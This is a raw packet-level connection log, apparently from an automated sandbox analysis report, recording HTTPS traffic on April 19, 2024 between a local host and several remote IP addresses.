Apr 19, 2024 17:01:41.259947062 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.259952068 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.260323048 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.260375023 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.260381937 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.260435104 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.260441065 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.260482073 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.260529041 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.260534048 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.261274099 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.261318922 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.261324883 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.261467934 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.261507034 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.261512041 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.308892012 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.308923960 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.357393980 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.358422995 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.359720945 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.359791994 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.359797955 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.359940052 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.359982967 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.359987974 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.360093117 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.360138893 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.360143900 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.360259056 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.360301971 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.360306025 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.360429049 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.360474110 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.360477924 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.360583067 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.360625029 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.360629082 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.360763073 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.360801935 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.360806942 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.360879898 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.360918999 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.360924006 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.362587929 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.362601042 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.362648010 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.362658978 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.362667084 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.362699032 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.362719059 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.364573002 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.364624023 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.364650011 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.364658117 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.364708900 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.365467072 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.365536928 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.365540981 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.365596056 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.365600109 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.365616083 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.365660906 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.365667105 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.365744114 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.365786076 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.365791082 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.412533998 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.412578106 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.412595987 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.412607908 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.412636042 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.412651062 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.412656069 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.412688971 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.412704945 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.412709951 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.412749052 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.412753105 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.425734997 CEST	443	49692	35.190.80.1	192.168.2.18
Apr 19, 2024 17:01:41.426014900 CEST	49692	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:01:41.426038980 CEST	443	49692	35.190.80.1	192.168.2.18
Apr 19, 2024 17:01:41.427577972 CEST	443	49692	35.190.80.1	192.168.2.18
Apr 19, 2024 17:01:41.427649021 CEST	49692	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:01:41.428786039 CEST	49692	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:01:41.428890944 CEST	443	49692	35.190.80.1	192.168.2.18
Apr 19, 2024 17:01:41.429068089 CEST	49692	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:01:41.429076910 CEST	443	49692	35.190.80.1	192.168.2.18
Apr 19, 2024 17:01:41.452882051 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.452907085 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.462812901 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.462873936 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.462879896 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.462974072 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.463021994 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.463027000 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.464133978 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.464190960 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.464195967 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.464245081 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.464284897 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.464289904 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.464338064 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.464379072 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.464385033 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.464469910 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.464504004 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.464509010 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.464514971 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.464560032 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.464574099 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.464648008 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.464706898 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.464713097 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.465317965 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.465367079 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.465373039 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.465434074 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.465482950 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.465487957 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.465518951 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.465563059 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.465568066 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.465651989 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.465692043 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.465698004 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.466317892 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.466367960 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.466373920 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.466424942 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.466464996 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.466470957 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.466505051 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.466547012 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.466552019 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.467165947 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.467214108 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.467219114 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.467288017 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.467330933 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.467335939 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.468362093 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.468396902 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.468417883 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.468425035 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.468432903 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.468463898 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.469039917 CEST	49692	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:01:41.469263077 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.469310045 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.469315052 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.469363928 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.469403982 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.469408989 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.470252037 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.470285892 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.470312119 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.470316887 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.470343113 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.470371008 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.470419884 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.470422029 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.470431089 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.470467091 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.470470905 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.470535040 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.470577955 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.470582962 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.471153021 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.471198082 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.471203089 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.471209049 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.471256018 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.471261024 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.471312046 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.471354961 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.471359968 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.471384048 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.471426010 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.471431017 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.472732067 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.472784042 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.472789049 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.473581076 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.473598957 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.473644018 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.473649979 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.473676920 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.473691940 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.475486994 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.475506067 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.475677013 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.475682974 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.475738049 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.477292061 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.477320910 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.477349997 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.477355003 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.477385044 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.477397919 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.479984045 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.480004072 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.480057001 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.480067015 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.480117083 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.481834888 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.481874943 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.481903076 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.481911898 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.481935978 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.481950045 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.483778954 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.483798027 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.483834982 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.483864069 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.483877897 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.483891964 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.483923912 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.484810114 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.484927893 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.485682011 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.485761881 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.485768080 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.520237923 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.520262003 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.520306110 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.520323992 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.520355940 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.564913988 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.567225933 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.567280054 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.567334890 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.567356110 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.567372084 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.567388058 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.568547964 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.568569899 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.568612099 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.568625927 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.568650961 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.568666935 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.570394039 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.570432901 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.570461988 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.570477009 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.570492029 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.570508957 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.571906090 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.571939945 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.571966887 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.571980000 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.571995974 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.572822094 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.572860956 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.572870970 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.572877884 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.572900057 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.572915077 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.572920084 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.573009014 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.573049068 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.573134899 CEST	49691	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.573148966 CEST	443	49691	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.600096941 CEST	49693	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.600142002 CEST	443	49693	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.600208044 CEST	49693	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.600594044 CEST	49693	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.600604057 CEST	443	49693	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.660676003 CEST	443	49692	35.190.80.1	192.168.2.18
Apr 19, 2024 17:01:41.660777092 CEST	443	49692	35.190.80.1	192.168.2.18
Apr 19, 2024 17:01:41.660835028 CEST	49692	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:01:41.661050081 CEST	49692	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:01:41.661072016 CEST	443	49692	35.190.80.1	192.168.2.18
Apr 19, 2024 17:01:41.661082029 CEST	49692	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:01:41.661115885 CEST	49692	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:01:41.663636923 CEST	49694	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:01:41.663666964 CEST	443	49694	35.190.80.1	192.168.2.18
Apr 19, 2024 17:01:41.663790941 CEST	49694	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:01:41.665421963 CEST	49694	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:01:41.665436983 CEST	443	49694	35.190.80.1	192.168.2.18
Apr 19, 2024 17:01:41.703336000 CEST	49695	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:41.703371048 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:41.703459024 CEST	49695	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:41.703660965 CEST	49695	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:41.703675985 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:41.721530914 CEST	49696	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.721577883 CEST	443	49696	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.721676111 CEST	49696	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.722182035 CEST	49696	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.722198009 CEST	443	49696	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.821221113 CEST	443	49693	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.821567059 CEST	49693	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.821579933 CEST	443	49693	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.821914911 CEST	443	49693	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.822212934 CEST	49693	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.822273016 CEST	443	49693	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.822362900 CEST	49693	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.822396040 CEST	49693	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.822447062 CEST	443	49693	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.882210016 CEST	443	49694	35.190.80.1	192.168.2.18
Apr 19, 2024 17:01:41.882625103 CEST	49694	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:01:41.882641077 CEST	443	49694	35.190.80.1	192.168.2.18
Apr 19, 2024 17:01:41.883126020 CEST	443	49694	35.190.80.1	192.168.2.18
Apr 19, 2024 17:01:41.883497000 CEST	49694	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:01:41.883584023 CEST	443	49694	35.190.80.1	192.168.2.18
Apr 19, 2024 17:01:41.883687973 CEST	49694	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:01:41.922399044 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:41.922739029 CEST	49695	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:41.922800064 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:41.923698902 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:41.923790932 CEST	49695	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:41.924786091 CEST	49695	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:41.924848080 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:41.924962044 CEST	49695	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:41.924978971 CEST	443	49695	104.17.3.184	192.168.2.18
Apr 19, 2024 17:01:41.928117990 CEST	443	49694	35.190.80.1	192.168.2.18
Apr 19, 2024 17:01:41.928911924 CEST	49694	443	192.168.2.18	35.190.80.1
Apr 19, 2024 17:01:41.939524889 CEST	443	49696	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.939882040 CEST	49696	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.939909935 CEST	443	49696	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.940224886 CEST	443	49696	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.940536976 CEST	49696	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.940613031 CEST	443	49696	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.940661907 CEST	49696	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:41.976902962 CEST	49695	443	192.168.2.18	104.17.3.184
Apr 19, 2024 17:01:41.984225035 CEST	443	49696	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:41.992037058 CEST	49696	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:42.056441069 CEST	443	49693	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:42.056514978 CEST	443	49693	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:42.056551933 CEST	443	49693	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:42.056576014 CEST	49693	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:42.056585073 CEST	443	49693	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:42.056617975 CEST	443	49693	172.67.179.148	192.168.2.18
